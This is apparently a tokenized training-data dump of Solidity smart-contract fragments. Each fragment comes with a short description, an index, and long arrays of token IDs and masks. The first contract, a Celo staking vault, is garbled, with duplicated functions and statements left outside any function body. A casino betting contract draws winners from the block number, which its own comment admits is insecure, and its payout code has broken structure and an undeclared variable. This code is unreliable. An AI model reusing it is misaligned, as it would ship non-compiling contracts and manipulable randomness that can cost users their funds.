import {SafeERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import {MathUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol";
struct WithdrawalInfo {
uint256 value;
uint256 timestamp;
}
mapping(address => WithdrawalInfo) internal withdrawals;
IManager public c_stCeloManager;
IRegistry public c_celoRegistry;
function initialize(
address _stCeloTokenAddress,
address _stCeloManagerAddress,
address _celoRegistryAddress,
address _impactVaultManagerAddress
) external initializer {
__Ownable_init();
__Pausable_init();
__ReentrancyGuard_init();
setDependencies(
_stCeloTokenAddress,
_stCeloManagerAddress,
_celoRegistryAddress
);
__ERC20_init("Spirals Celo Vault Token", "spCELO");
__ImpactVault_init(
getGoldToken(),
IERC20Upgradeable(_stCeloTokenAddress),
_impactVaultManagerAddress
);
}
receive() external payable {
emit Receive(msg.sender, msg.value);
}
function setDependencies(
address _stCeloTokenAddress,
address _stCeloManagerAddress,
address _celoRegistryAddress
) public onlyOwner {
require(
IManaged(_stCeloTokenAddress).manager() == _stCeloManagerAddress,
"NON_MATCHING_STCELO_MANAGER"
);
require(
IRegistry(_celoRegistryAddress).getAddressForStringOrDie(
"Validators"
) != address(0),
"INVALID_REGISTRY_ADDRESS"
);
c_stCeloManager = IManager(_stCeloManagerAddress);
c_celoRegistry = IRegistry(_celoRegistryAddress);
emit DependenciesUpdated(
_stCeloTokenAddress,
_stCeloManagerAddress,
_celoRegistryAddress
);
}
function depositCelo(address _receiver)
external
payable
virtual
whenNotPaused
nonReentrant
{
if (msg.value == 0) {
revert ZeroDeposit();
}
_stake(amount);
_mint(_receiver, amount);
_updateYieldIndexSinceLastUpdate(_receiver, amount, true);
emit Deposit(amount, _receiver);
}
function depositCelo(address _receiver)
external
payable
virtual
whenNotPaused
nonReentrant
{
if (msg.value == 0) {
revert ZeroDeposit();
}
_stake(amount);
_mint(_receiver, amount);
_updateYieldIndexSinceLastUpdate(_receiver, amount, true);
emit Deposit(amount, _receiver);
}
uint256 amount = msg.value;
function _stake(uint256 _amount) internal virtual override {
}
c_stCeloManager.deposit{value: _amount}();
function _withdraw(address _receiver, uint256 _amount)
internal
virtual
override
{
WithdrawalInfo memory withdrawInfo = withdrawals[_receiver];
if (hasOutstandingWithdrawal(_receiver)) {
revert WithdrawOutstanding(
_receiver,
withdrawInfo.value,
withdrawInfo.timestamp
);
}
c_stCeloManager.withdraw(stCeloAmount);
withdrawInfo.value = _amount;
withdrawInfo.timestamp =
block.timestamp +
getLockedGold().unlockingPeriod();
withdrawals[_receiver] = withdrawInfo;
}
function _withdraw(address _receiver, uint256 _amount)
internal
virtual
override
{
WithdrawalInfo memory withdrawInfo = withdrawals[_receiver];
if (hasOutstandingWithdrawal(_receiver)) {
revert WithdrawOutstanding(
_receiver,
withdrawInfo.value,
withdrawInfo.timestamp
);
}
c_stCeloManager.withdraw(stCeloAmount);
withdrawInfo.value = _amount;
withdrawInfo.timestamp =
block.timestamp +
getLockedGold().unlockingPeriod();
withdrawals[_receiver] = withdrawInfo;
}
uint256 stCeloAmount = c_stCeloManager.toStakedCelo(_amount);
function claim() external virtual whenNotPaused nonReentrant {
if (!hasWithdrawalReady(_msgSender())) {
revert WithdrawNotReady(
_msgSender(),
withdrawals[_msgSender()].timestamp
);
}
WithdrawalInfo memory withdrawInfo = withdrawals[_msgSender()];
uint256 celoToWithdraw = withdrawInfo.value;
withdrawInfo.timestamp = 0;
withdrawals[_msgSender()] = withdrawInfo;
emit Claim(_msgSender(), celoToWithdraw);
}
function claim() external virtual whenNotPaused nonReentrant {
if (!hasWithdrawalReady(_msgSender())) {
revert WithdrawNotReady(
_msgSender(),
withdrawals[_msgSender()].timestamp
);
}
WithdrawalInfo memory withdrawInfo = withdrawals[_msgSender()];
uint256 celoToWithdraw = withdrawInfo.value;
withdrawInfo.timestamp = 0;
withdrawals[_msgSender()] = withdrawInfo;
emit Claim(_msgSender(), celoToWithdraw);
}
withdrawInfo.value = 0;
getGoldToken().transfer(_msgSender(), celoToWithdraw);
function hasOutstandingWithdrawal(address _address)
public
view
returns (bool)
{
return withdrawals[_address].timestamp != 0;
}
function hasWithdrawalReady(address _address) public view returns (bool) {
uint256 ts = withdrawals[_address].timestamp;
return ts != 0 && block.timestamp >= ts;
}
function convertToCUSD(uint256 _amountAsset)
public
view
virtual
override
returns (uint256 usdAmount)
{
ISortedOracles sortedOracles = ISortedOracles(
c_celoRegistry.getAddressForStringOrDie("SortedOracles")
);
(uint256 rateNumerator, uint256 rateDenominator) = sortedOracles
.medianRate(address(getStableToken()));
return _amountAsset.mulDiv(rateNumerator, rateDenominator);
}
function convertToAsset(uint256 _amountYieldAsset)
public
view
virtual
override
returns (uint256)
{
return c_stCeloManager.toCelo(_amountYieldAsset);
}
function convertToYieldAsset(uint256 _amountAsset)
public
view
virtual
override
returns (uint256)
{
return c_stCeloManager.toStakedCelo(_amountAsset);
}
function getGoldToken() internal view returns (IERC20Upgradeable) {
address goldTokenAddr = IRegistry(c_celoRegistry)
.getAddressForStringOrDie("GoldToken");
return IERC20Upgradeable(goldTokenAddr);
}
function getStableToken() internal view returns (IERC20Upgradeable) {
address stableTokenAddr = IRegistry(c_celoRegistry)
.getAddressForStringOrDie("StableToken");
return IERC20Upgradeable(stableTokenAddr);
}
function getLockedGold() internal view returns (ILockedGold) {
address lockedGoldAddr = IRegistry(c_celoRegistry)
.getAddressForStringOrDie("LockedGold");
return ILockedGold(lockedGoldAddr);
}
}
| 13,283,674 | [
1,
3389,
481,
1031,
39,
24214,
22683,
621,
12003,
225,
632,
2896,
637,
9521,
85,
2779,
225,
25379,
434,
9457,
621,
12003,
603,
326,
385,
24214,
611,
1673,
1147,
261,
654,
39,
3462,
282,
14702,
385,
24214,
2687,
17,
13635,
5462,
2934,
385,
24214,
443,
1724,
329,
353,
384,
9477,
316,
282,
326,
384,
9477,
385,
24214,
261,
334,
39,
24214,
13,
4501,
26595,
384,
6159,
1771,
18,
3423,
9446,
310,
1473,
282,
1368,
385,
24214,
353,
3221,
358,
326,
2687,
1807,
7186,
310,
3879,
261,
9060,
7507,
13,
282,
1427,
333,
6835,
20298,
598,
9446,
1031,
3180,
3677,
12404,
1473,
358,
7516,
2182,
18,
282,
2457,
3142,
20458,
16,
1517,
729,
848,
1338,
1240,
404,
20974,
598,
9446,
287,
622,
282,
1281,
864,
1634,
316,
813,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
5878,
481,
1031,
39,
24214,
22683,
621,
12003,
353,
9457,
621,
12003,
288,
203,
565,
1450,
14060,
654,
39,
3462,
10784,
429,
364,
467,
654,
39,
3462,
10784,
429,
31,
203,
565,
1450,
2361,
10784,
429,
364,
2254,
5034,
31,
203,
203,
565,
555,
3423,
9446,
1182,
15167,
12,
203,
3639,
1758,
5971,
16,
203,
3639,
2254,
5034,
460,
16,
203,
3639,
2254,
5034,
2858,
203,
565,
11272,
203,
565,
555,
3423,
9446,
1248,
8367,
12,
2867,
5971,
16,
2254,
5034,
2858,
1769,
203,
203,
565,
871,
17046,
12,
2867,
8808,
5793,
16,
2254,
5034,
8808,
3844,
1769,
203,
565,
871,
18381,
12,
2867,
8808,
5971,
16,
2254,
5034,
8808,
3844,
1769,
203,
565,
871,
10532,
3209,
7381,
12,
203,
3639,
1758,
8808,
384,
39,
24214,
16,
203,
3639,
1758,
8808,
3301,
16,
203,
3639,
1758,
8808,
4023,
203,
565,
11272,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
2499,
31,
203,
5666,
288,
45,
1318,
97,
628,
315,
4816,
19,
15898,
19,
45,
1318,
18,
18281,
14432,
203,
5666,
288,
3445,
4184,
97,
628,
315,
4816,
19,
15898,
19,
3445,
4184,
18,
18281,
14432,
203,
5666,
288,
45,
8966,
43,
1673,
97,
628,
315,
4816,
19,
15898,
19,
45,
8966,
43,
1673,
18,
18281,
14432,
203,
5666,
288,
45,
4243,
97,
628,
315,
4816,
19,
15898,
19,
45,
4243,
18,
18281,
14432,
203,
5666,
288,
45,
11739,
51,
354,
9558,
97,
628,
315,
4816,
19,
15898,
19,
45,
11739,
51,
354,
9558,
18,
18281,
14432,
203,
5666,
288,
22683,
621,
2
] |
pragma solidity 0.4.15;
library SafeMath {
function mul(uint _a, uint _b) internal constant returns (uint c)
{ if (_a == 0) {
return 0;
}
c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint _a, uint _b) internal constant returns (uint){
require(_b > 0);
return _a / _b;
}
function sub(uint _a, uint _b) internal constant returns (uint){
require(_b <= _a);
return _a - _b;
}
function add(uint _a, uint _b) internal constant returns (uint c){
c = _a + _b;
require(c >= _a);
return c;
}
}
contract Casino {
using SafeMath for uint;
address owner;
// The minimum bet a user has to make to participate in the game
uint public minimumBet = 1; // Equal to 1.00 AION
// The maximum bet a user has to make to participate in the game
uint public maximumBet = 100; // Equal to 100 AION
// The total number of bets the users have made
uint public numberOfBets;
// The maximum amount of bets can be made for each game
uint public maxAmountOfBets = 7;
// The total amount of AION bet for this current game
uint public totalBet;
// The total amount of AION paid out (contract paid out)
uint public totalPaid;
// The number / animal that won the last game
uint public lastLuckyAnimal;
// Array of players in each round
address[] public players;
// Player object
struct Player {
uint amountBet;
uint numberSelected;
}
// The address of the player and => the user info
mapping(address => Player) public playerInfo;
// Events that get logged in the blockchain
event AnimalChosen(uint value);
event WinnerTransfer(address to, uint value);
// Modifier: Only allow the execution of functions when bets are completed
modifier onEndGame(){
if(numberOfBets >= maxAmountOfBets) _;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// Constructor
function Casino() public {
owner = msg.sender;
}
// Make sure contract has balance > maximumBet so
// distributePrizes() will be able to execute without failure
function() public payable {}
// refund all tokens back to owner
function refund() public onlyOwner {
uint totalBalance = this.balance;
owner.transfer(totalBalance);
}
function kill() public {
if(msg.sender == owner) selfdestruct(owner);
}
function checkPlayerExists(address player) public constant returns (bool){
for(uint i = 0; i < players.length; i++){
if(players[i] == player) return true;
}
return false;
}
function bet(uint numberSelected) payable {
// Check that the max amount of bets hasn't been met yet
require(numberOfBets <= maxAmountOfBets);
// Check that the number to bet is within the range
require(numberSelected >= 1 && numberSelected <= 10);
// Check that the player doesn't exists
require(checkPlayerExists(msg.sender) == false);
// Check that the amount paid is bigger or equal the minimum bet
require(msg.value >= minimumBet);
// Store player's address, bet amount, and animal chose
playerInfo[msg.sender].amountBet = msg.value;
playerInfo[msg.sender].numberSelected = numberSelected;
numberOfBets++; // Increase number of bets placed
players.push(msg.sender); // Add player into array
totalBet += msg.value; // Increase total AION prize pool
// Check if the round is completed, if so - draw the winning animal
if(numberOfBets >= maxAmountOfBets) generateNumberWinner();
}
function generateNumberWinner() private onEndGame {
uint numberGenerated = block.number % 10 + 1; // This isn't secure
lastLuckyAnimal = numberGenerated; // Store animal chosen
distributePrizes(); // Call function to distribute prizes
}
function distributePrizes() private onEndGame {
address[100] memory winners; // Create a temporary in memory array with fixed size
uint count = 0; // Winner count - how many winners
uint winnerBetPool = 0; // Total Winner Bet Pool - used to portion prize amount
// Store winners in array, and tally winner bet pool
for(uint i = 0; i < players.length; i++){
address playerAddress = players[i];
if(playerInfo[playerAddress].numberSelected == lastLuckyAnimal){
winners[count] = playerAddress;
winnerBetPool += playerInfo[playerAddress].amountBet;
count++;
}
}
// If winning players, then distribute AION
if (count > 0){
uint winnerAIONAmount = totalBet / count; // How much each winner gets
for(uint j = 0; j < count; j++){
if(winners[j] != address(0)) // Check that the address in this fixed array is not empty
address playerAddressW = winners[j]; // Grab winning addresses
uint winnerAIONAmount = SafeMath.div(SafeMath.mul(totalBet, playerInfo[playerAddressW].amountBet), winnerBetPool);
winners[j].transfer(winnerAIONAmount); // Calculate winner proportions to the prize pool
totalPaid += winnerAIONAmount; // Add to Total Payout
WinnerTransfer(winners[j], winnerAIONAmount);
}
totalBet = 0; // Clear total bets, if no winner - totalBets get rolled over
}
players.length = 0; // Delete all the players array
numberOfBets = 0; // Reset number of bets
numberRound++; // Increase Round Number
}
}
}
| Store animal chosen
| lastLuckyAnimal = numberGenerated; | 12,686,175 | [
1,
2257,
392,
2840,
10447,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
1142,
48,
9031,
93,
979,
2840,
273,
1300,
7823,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x0b0A544AE6131801522E3aC1FBAc6D311094c94c/sources/browser/staking2.sol | deposit token contract address and reward token contract address these contracts (and uniswap pair & router) are "trusted" and checked to not contain re-entrancy pattern to safely avoid checks-effects-interactions where needed to simplify logic | address public constant trustedDepositTokenAddress = 0xBa7872534a6C9097d805d8BEE97e030f4e372e54;
| 5,012,446 | [
1,
323,
1724,
1147,
6835,
1758,
471,
19890,
1147,
6835,
1758,
4259,
20092,
261,
464,
640,
291,
91,
438,
3082,
473,
4633,
13,
854,
315,
25247,
6,
471,
5950,
358,
486,
912,
283,
17,
8230,
12514,
1936,
358,
15303,
4543,
4271,
17,
13867,
87,
17,
2761,
4905,
1625,
3577,
358,
16499,
4058,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1758,
1071,
5381,
13179,
758,
1724,
1345,
1887,
273,
374,
20029,
69,
8285,
27,
2947,
5026,
69,
26,
39,
29,
5908,
27,
72,
3672,
25,
72,
28,
5948,
41,
10580,
73,
4630,
20,
74,
24,
73,
6418,
22,
73,
6564,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x0de977E5414b78407B3bBdb40e095DE5727A3dD6/sources/NFTs/CryptoElves.sol | Increment ID counter Mint NFT to user wallet | {
payee1 = _payee1;
payee2 = _payee2;
payee3 = _payee3;
price = _price;
whitelistPrice = _wlPrice;
for(uint256 i = 0; i < 50; i++) {
uint256 currID = Counters.current(ID);
Counters.increment(ID);
_mint(recipient, currID);
emit mint(currID, address(this), recipient);
}
}
| 648,593 | [
1,
10798,
1599,
3895,
490,
474,
423,
4464,
358,
729,
9230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
288,
203,
3639,
8843,
1340,
21,
273,
389,
10239,
1340,
21,
31,
203,
3639,
8843,
1340,
22,
273,
389,
10239,
1340,
22,
31,
203,
3639,
8843,
1340,
23,
273,
389,
10239,
1340,
23,
31,
203,
3639,
6205,
273,
389,
8694,
31,
7010,
3639,
10734,
5147,
273,
389,
21504,
5147,
31,
203,
540,
203,
3639,
364,
12,
11890,
5034,
277,
273,
374,
31,
277,
411,
6437,
31,
277,
27245,
288,
203,
5411,
2254,
5034,
4306,
734,
273,
9354,
87,
18,
2972,
12,
734,
1769,
203,
203,
5411,
9354,
87,
18,
15016,
12,
734,
1769,
203,
2398,
203,
5411,
389,
81,
474,
12,
20367,
16,
4306,
734,
1769,
203,
5411,
3626,
312,
474,
12,
17016,
734,
16,
1758,
12,
2211,
3631,
8027,
1769,
203,
3639,
289,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8;
// SPDX-FileCopyrightText: Copyright 2021 Stephen R. Newell
// SPDX-License-Identifier: MIT
/// @title HelloWorld1
///
/// @author Stephen Newell
///
/// @notice The simplest contract to say hello to the world.
///
/// @dev Uses a public state variable to hold the greeting
contract HelloWorld1 {
/// @dev Hello World greeting.
string public greeting = "Hello World!";
}
| @title HelloWorld1 @author Stephen Newell @notice The simplest contract to say hello to the world. @dev Uses a public state variable to hold the greeting | contract HelloWorld1 {
string public greeting = "Hello World!";
}
| 929,452 | [
1,
18601,
18071,
21,
225,
7780,
13819,
1166,
1165,
225,
1021,
9330,
395,
6835,
358,
12532,
19439,
358,
326,
9117,
18,
225,
14854,
279,
1071,
919,
2190,
358,
6887,
326,
5174,
21747,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
20889,
18071,
21,
288,
203,
565,
533,
1071,
5174,
21747,
273,
315,
18601,
21820,
4442,
31,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-14
*/
pragma solidity =0.5.16;
